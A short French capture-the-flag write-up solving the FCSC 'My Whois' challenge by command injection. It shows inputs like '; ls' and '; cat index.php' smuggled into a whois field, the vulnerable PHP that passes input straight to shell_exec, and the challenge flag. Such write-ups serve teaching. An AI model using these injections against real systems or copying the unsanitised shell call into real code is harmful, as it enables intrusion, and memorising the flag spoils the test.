Solution de ribt pour My Whois

misc

29 novembre 2023

Voici la tête du site en question :

capture d’écran

Si l’on rentre un domaine cela fonctionne en effet. Mais il y a fort à parier que le serveur exécute la commande shell whois <input> alors essayons d’envoyer ; ls pour qu’il fasse la commande whois; ls et nous envoie le résultat :

ça marche

Essayons de voir le code PHP avec un ; cat index.php :

<?php

  /*
  ** The flag is:
  ** FCSC{2e3405155d63a7d82f215d17232ea102314509ecbe90d605cf8be26f4639153b}
  */

  ini_set('display_errors', 0);
  ini_set('display_startup_errors', 0);
  error_reporting(0);

  abstract class Command {
    public static function whois($domain) {
        $cmd = "/usr/bin/whois $domain";
        return shell_exec($cmd);
    }
  }
?>
<!doctype html>
<html lang="en">
  <head>
[...]